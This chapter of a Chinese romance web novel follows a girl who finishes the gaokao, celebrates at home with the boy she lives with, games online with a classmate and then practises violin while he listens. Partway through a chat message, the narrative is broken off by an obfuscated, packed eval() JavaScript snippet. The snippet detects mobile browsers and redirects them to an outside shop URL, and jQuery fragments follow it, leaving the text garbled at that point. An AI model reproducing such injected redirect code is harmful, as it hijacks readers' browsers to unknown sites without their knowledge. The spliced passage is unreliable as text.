联考成绩出来后的那段时间，虽说考得还行，但付黎之心里依旧觉得不踏实，于是每晚回来都会拉着付遇衍给她加训，甚至连周末都没再出去玩过。


    偶尔付遇衍端着水果进她房间，还会瞥见她写一会儿停一会儿，然后对着他的校牌双手合十地祈祷。


    这样的苦日子就这么一直熬到高考的前一晚，从房间里背完一遍课文出来时，她坐到沙发上，突然双手握住付遇衍的手，然后闭着眼，额头抵在他指尖上。


    付遇衍愣了下，不自在地问道：“你干嘛？”


    付黎之没睁眼，自顾搓着他掌心手：“蹭蹭手气，嘘，不要打断施法。”


    紧接着嘴里开始念叨道：“保佑我高考考好，保佑我高考考好…”


    付遇衍注视她几秒，突然无声的笑了下。另一只空闲的手拿起一个东西，微一使劲，有碎裂的声响传来。他低声说：“张嘴。”


    付黎之睁开眼，疑惑地啊了声。


    下一秒，一个核桃被放进了她嘴里，与之一起的是他的一句：“补补脑。”


    她怔怔地嚼了嚼，眨眼问：“这样就有用吗？”


    付遇衍唇角微提：“不如你再多看两道题有用。”


    闻言，付黎之立马起身跑回房间。


    书桌上满是摊开的卷子还有各种打印材料，虽然这些她已经看过好几遍了，但心里就是不踏实，总觉得不给自己找材料看到明天考试的前一秒，就好像在虚度光阴。


    不多会儿，付遇衍端了一杯蜂蜜柠檬水进来了，他递给她说：“挺晚的了，今晚早点休息，明明好好发挥。”


    付黎之喝了一口后，突然拉着张小脸哼唧起来：“怎么明天就要考数学啊，你看到卷子出来后能不能不要和我对答案啊。”


    “我没那么闲。”付遇衍斜倚着桌沿，抱臂说道。


    毕竟弄不高兴了还得哄，更何况高考这样的大事，如果还像以前那样随意去牵动她的情绪，那属实不是人。


    可付黎之心里还是不放心：“那你也不准提起相关题目，一个字都不准说！”


    付遇衍应道：“知道了。”


    又接连交代了好几件事，付黎之才安心地将那杯蜂蜜柠檬水喝完。


    三天的考试时间过得很快，因为生物是放在最后一科考的，当天考完出来已经六点多了，天都快黑了。


    她走出考场时脸还有些热，是肾上腺素飚的。


    这会儿校园里的人已经散了大半，似乎大家都迫不及待地想冲出这方天地，但付黎之显然还没换好心绪，走路慢悠悠的。


    临出校门，隔了段距离就能看到早早在那等着的付遇衍，他手里还捧了一束花。等到她一走进，他立即打趣道：“怎么这么慢，前两天不是还夸下海口说要做第一个出来让记者采访的考生吗？”


    自己说出的话自己当然得圆，于是她开始胡扯道：“我刚刚提前十五分钟做完就坐在那想，像这么优越的一张脸出现在镜头前，指定要上热搜说什么最美高考生，害，我不想那么大张旗鼓的，索性就等记者走得差不多了再出来咯。”


    付遇衍哼笑了声，蓦然将手里的花递给她，认真地说：“毕业快乐，付黎之。”


    那束花中间还插了张卡，内容很简洁：高考顺利，毕业快乐。


    付黎之眼睛一亮，垂着望着那束花，突然捂嘴偷笑道：“哎呀，我的坏日子到头了，你怎么知道我要接连放三个月的假了。”


    她一边说着，还歪着头去看他。


    付遇衍扭开脸切了声，随即又说：“饿不饿？回家吧。”


    回到家里，玄关处换完鞋，付黎之立马先跑回房间，将那束花挑了个好位置摆下。


    出来时，脸上全是对解脱的喜悦。


    难得见她高兴成这样，付遇衍并没有问她感觉考得怎么样之类的话，毕竟他没有摧毁别人好心情的爱好，再加上问这些无聊的话又不能改变什么，甚至有可能让她接下来几天变得闹心起来。


    一旦她不好过了，那他也就别想好过了。


    坐下来吃饭时，手机铃声突然响起，是徐若声打来的。


    付黎之一手筷子一手勺子的，索性直接开了免提，将手机放到桌面上听。


    对面传来一声问：“今天是不是就考完了？”


    付黎之乖乖地答了声：“是呀。”


    “那接下来什么打算，要跟朋友出去旅游吗，还是回家待两天，钱够不够用吗，需不需要妈给你转点？”徐若声又问。


    付黎之思考了下，压着嘴角的笑说：“钱可以先转给我。至于后面，先不回去啦，我打算下个月把小提琴十级先考了。”


    “那行。”徐若声说，“有什么需要的尽管跟老妈说。”


    电话挂断后，付遇衍问她：“都结束了，怎么不回家？”


    付黎之没立即回答，突然托着脸看他：“那我要是走了，你会不会无聊啊？”


    “你居然还会关心我？”付遇衍抬眉。


    “那我也是个讲诚信的人好吧。”付黎之嘟囔道，“说好了你到高三就换我来照顾你，绝不食言！”


    付遇衍眼皮子半盖下，眼睛意味不明地打转了下，一边嘴角微不可察地扯起，面上却轻描淡写地说：“是吗？那还真是让人感动呢。”


    只是猝然担心付遇衍真会开始各种使唤她，她不安地问道：“不过你应该也不需要我真的照顾你吧？”


    这话落到付遇衍耳中，却成了另一层意思。还以为是她后几日有约了，联想到她先前去他学校找他说过的话，眸色暗了暗：“说不好，所以你还是不要乱跑，免得我一边学习，还得一边出去找你。”


    付黎之听着就不乐意了：“我又不是笨蛋，认得回家的路。”


    因为心中大事已经完全了却，吃过饭，她就闲闲地躺在沙发上补之前屯着的漫画新刊。


    想起一事，她忽地起身回房，将盒里剩的那些孔庙笔都拿出来打算全给付遇衍。


    推开他房门时，她眼一尖，注意到他在写今年的英语新高考一卷。


    但许是怕刺激到她，在听到她传来的声响后，付遇衍下意识将屏幕摁灭。


    只是预想中的撒气并没有到来，付黎之眼睛亮亮的，突然激动地说：“你知道今年英语作文考的什么吗？校广播站的访谈邀请，嘿，我刚好会写广播！”


    她情绪一上来，直接捧住付遇衍的脸捏了捏：“小狗怎么这么聪明呀，居然还会押题！”


    付遇衍耳根微热，嘴角不明显地抽动了下，佯装不在意地将她的手拉下来：“是吗，那挺好的。”


    付黎之满脸藏不住的喜悦：“我那天一出来碰到我们班的同学，都在说广播的单词给忘了，我都不好意思吭声。”


    “哦，对了。”她差点把正事给忘了，“这些笔都给你，虽然有我实力的成分在，但运气多少也占了点，开过光的笔，记得留几支到高考用。”


    交代完事情，她兴致勃勃地回了房间。


    刚哼着小曲躺到床上，手机突然震了下。


    我有点帅：【玩游戏吗】


    付黎之才恍然想起来自己的王者卸载好久了，忍了这么久，也是时候该下回来了，于是回复道：你等一下，我更新需要点时间。


    我有点帅：【不急】


    在等她加载的时间里，他又发来一句：你


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16870057|188678||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    这段时间打算干嘛？


    栗子：【明天一觉睡到中午，然后下午就要开始练小提琴了】


    我有点帅：【还是在原来的那个地方吗，我可以陪你去吗，我就安安静静地听，绝不打扰你】


    付黎之开始思考起来，明天付遇衍还有课，如果再碰到朱耘起那样的情况，多个人也有个照应。再加上和他关系也还不错，除夕夜的花她还没回礼，送实物他又不一定肯收，那就邀请他勉强当下观众。


    栗子：【行啊】


    注意到游戏界面加载完成，她又发道：上号吧。


    许是太久没打，付黎之手有些生，很多操作都打不灵敏，但好在陆括脾气够好，还会主动给她让人头，让她吃血包。


    他的段位不低，但或许是她掉段到钻石了，所以匹配到的对手都不是很强，两人一晚上直接连赢三把。


    *


    隔天付黎之醒来时，家里空荡荡的，但桌上放了一份早餐，旁边还贴了一张便利贴，写着：放微波炉热三分钟就能吃，不会用百度一下。


    付黎之小脸顿时拧起，后一句话是在羞辱谁呢，无非就是转个按钮的事，真当她是笨蛋啊。


    她起得晚，吃过早饭后，已经过午间了。


    她没在家久待，因为十级的小提琴曲难度大，因此打算早点过去练习。


    车停至琴行外时，陆括已经在那等着了，手里还提了两杯奶茶。


    付黎之扫了一眼，扯唇笑道：“你当看电影来的啊？”


    陆括笑了笑，解释道：“我就是觉得空手来不太好。”


    这回付黎之的小嘴耷拉下来了：“你点我呢？”


    “没有。”陆括忙否认，“我不是那个意思。”


    然而下一秒，就见她从包里翻出几袋草莓味跳跳糖扔向自己，顺道说：“确实不太好。”


    随即自顾往一间琴室里走去。


    老师已经在里头等着了，见到陌生的人进来，她下意识问：“诶，这是？”


    付黎之解释道：“哦，一个朋友，来听我拉曲的。”


    陆括确实如线上所说的那般，一进来就乖乖坐到角落的休息区，一道声音都没发出。


    付黎之透过面前的落地镜看了他一眼，随即就将小提琴架到肩上，准备开始练习。


    她今天先练的是《苗岭的早晨》，曲子难度很大，要求的不再只是揉弦准确，更要灵活换把位。


    许是前段时间都在备战高考，太久没练了，刚开始拉时手指有些僵硬，被老师纠正了好几回。


    一通练习下来，很考验手臂力量，她练了一个多小时就先停下来休息了。


    等她往陆括的方向走去时，陆括已经帮她将奶茶插好吸管，一来就递给她：“解解渴。”


    他特地点的无糖的，并不会很甜。付黎之吸了一大口缓慢咽下去后，突然说：“不觉得亏吗？浪费了那么多时间，就听到了一首完整的。”


    “听到就不算亏啊。”陆括很真诚地说，“而且你拉的很好听。”


    “得了吧，前面都被老师骂成啥样了。”付黎之抱着奶茶苦兮兮地又喝了一口。


    陆括安慰道：“专业的和非专业的听肯定不一样嘛，她追求技术，我只追求…听感。”


    付黎之笑了，恍然想起他昨天问自己的问题，于是反抛给他道：“你就没有其他打算吗，比如，打篮球？”


    陆括笑笑道：“时间这么长，想什么时候打都行，但现在这种机会可就不常有了。”


    付黎之不得不承认，他说话确实很有一套，起码听着顺耳多了，心情自然而然也变好了些。她起身道：“你自己慢慢坐，我练习去了。”